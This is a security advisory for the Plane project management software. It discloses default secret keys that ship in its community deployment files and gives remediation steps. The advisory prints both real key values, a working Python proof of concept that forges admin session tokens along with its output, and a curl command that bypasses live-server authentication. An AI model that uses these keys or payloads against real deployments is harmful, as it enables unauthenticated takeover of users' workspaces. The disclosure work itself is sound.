Skip to content

Hardcoded SECRET_KEY and LIVE_SERVER_SECRET_KEY shipped in aio/cli community deployment manifests — session forgery and live-server auth bypass

Critical
mguptahub published GHSA-cmwv-pjmw-8483 Aug 3, 2026

Software

makeplane/plane

Affected versions

<= 1.3.1

Patched versions

1.4.0

Description

The deployments/aio/community/ and deployments/cli/community/ deployment
manifests ship a fixed, publicly-readable SECRET_KEY and LIVE_SERVER_SECRET_KEY
as the default values for every operator who boots the community stack without
overriding environment variables. The top-level setup.sh only randomizes the
secret for the dev/docker-compose path; the aio and cli paths do not.

Because apps/api/plane/settings/common.py uses os.environ.get("SECRET_KEY", ...)
and the compose file supplies the hard default via ${SECRET_KEY:-<value>},
these keys become the effective production keys on unchanged deployments.

Affected files (at commit cf696d2)

File Line Value
deployments/aio/community/variables.env 29 SECRET_KEY=60gp0byfz2dvffa45cxl20p1scy9xbpf6d8c5y0geejgkyp1b5
deployments/aio/community/variables.env 53 LIVE_SERVER_SECRET_KEY=htbqvBJAgpm9bzvf3r4urJer0ENReatceh
deployments/cli/community/variables.env 57 same LIVE_SERVER_SECRET_KEY
deployments/cli/community/docker-compose.yml 56, 60 ${SECRET_KEY:-...} / ${LIVE_SERVER_SECRET_KEY:-...} defaults
apps/api/plane/settings/common.py 27 SECRET_KEY = os.environ.get("SECRET_KEY", get_random_secret_key())
apps/live/src/lib/auth-middleware.ts 38 if (secret !== process.env.LIVE_SERVER_SECRET_KEY) ... (plain compare)

Impact

  1. Django session / signed-value forgery (SECRET_KEY) -- SECRET_KEY is
    the root of trust for every Django cryptographic primitive used by Plane:
    django.core.signing.Signer / TimestampSigner / dumps / loads, the
    password-reset token generator, account-activation / email-confirmation
    links, signed-cookie session payloads, and any CSRF/remember-me tokens
    derived from it. Disclosure of this key allows an unauthenticated remote
    attacker to mint arbitrary signed values that the backend will accept as
    authentic -- including forged password-reset tokens and
    _auth_user_id-bearing signed session blobs for user_id=1 (first admin).

  2. Live collaboration auth bypass (LIVE_SERVER_SECRET_KEY) -- The live
    service middleware (apps/live/src/lib/auth-middleware.ts:38) compares the
    client-supplied header against process.env.LIVE_SERVER_SECRET_KEY with a
    plain !==. With the hardcoded value, an attacker simply sends
    live-server-secret-key: htbqvBJAgpm9bzvf3r4urJer0ENReatceh and gains
    privileged access to live-server endpoints.

Together these give unauthenticated remote takeover of any default
community aio/cli deployment -- full confidentiality, integrity, and
availability impact on all workspace data.

Proof of Concept

Offline forgery against the shipped key, executed 2026-04-11 with
Django 6.0.3 + Python 3:

import django
from django.conf import settings
settings.configure(SECRET_KEY="60gp0byfz2dvffa45cxl20p1scy9xbpf6d8c5y0geejgkyp1b5")
django.setup()
from django.core.signing import TimestampSigner, dumps, loads

print(TimestampSigner().sign("admin@plane.local"))

blob = dumps({"_auth_user_id": "1",
              "_auth_user_hash": "deadbeef",
              "_auth_user_backend": "plane.authentication.backends.EmailBackend"})
print(blob)
print(loads(blob))   # round-trip succeeds -> key is valid

Output (verbatim):

admin@plane.local:1wBg9v:P1JezVuG56DTuwyqMQpxrhLbQt6lk3JEBTytzakVc-w

eyJfYXV0aF91c2VyX2lkIjoiMSIsIl9hdXRoX3VzZXJfaGFzaCI6ImRlYWRiZWVmIiwiX2F1dGhfdXNlcl9iYWNrZW5kIjoicGxhbmUuYXV0aGVudGljYXRpb24uYmFja2VuZHMuRW1haWxCYWNrZW5kIn0:1wBg9v:XKR_DNwo8vu9Sxf9w6mTYNA4uBEPwZMvZZNHLcsrkmI

{'_auth_user_id': '1', '_auth_user_hash': 'deadbeef',
 '_auth_user_backend': 'plane.authentication.backends.EmailBackend'}

The round-trip through loads() demonstrates that any Plane backend running
with the shipped environment file will cryptographically accept these
attacker-minted values. For the live-server: curl -H "live-server-secret-key: htbqvBJAgpm9bzvf3r4urJer0ENReatceh" http://<host>/<live-route> against any default community deployment bypasses the middleware check in auth-middleware.ts:38.

Exploit scenario

  1. Attacker scans the internet for Plane community deployments (Shodan /
    favicon hash / /api/v1/workspaces/ fingerprint).
  2. Attacker mints a signed session blob or password-reset token with the
    hardcoded SECRET_KEY, sends it to the victim instance, and receives
    authenticated access as an existing user (including the first admin).
  3. In parallel, the attacker sends requests to the live-server with the
    hardcoded LIVE_SERVER_SECRET_KEY header and gains privileged realtime
    access.
  4. Result: full read/write over all workspace data on every affected
    deployment, without any prior authentication.

Remediation

  1. Remove all hardcoded secrets from deployments/aio/community/variables.env,
    deployments/cli/community/variables.env, and the ${VAR:-default}
    fallbacks in the corresponding docker-compose.yml files.
  2. Extend setup.sh (or the first-boot entrypoint of the aio/cli images) to
    generate cryptographically random SECRET_KEY and LIVE_SERVER_SECRET_KEY
    values on first run and persist them to the env file, matching the dev
    compose behavior.
  3. Refuse to boot the API and live services if either secret equals the
    previously-shipped known value (hard fail with a clear message).
  4. Replace the plain !== compare in apps/live/src/lib/auth-middleware.ts
    with a constant-time comparison (crypto.timingSafeEqual).
  5. Publish a security advisory rotating the known values and instructing
    existing operators to regenerate both keys.

References

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE ID

No known CVE

Weaknesses

Use of Hard-coded Credentials

The product contains hard-coded credentials, such as a password or cryptographic key. Learn more on MITRE.

Credits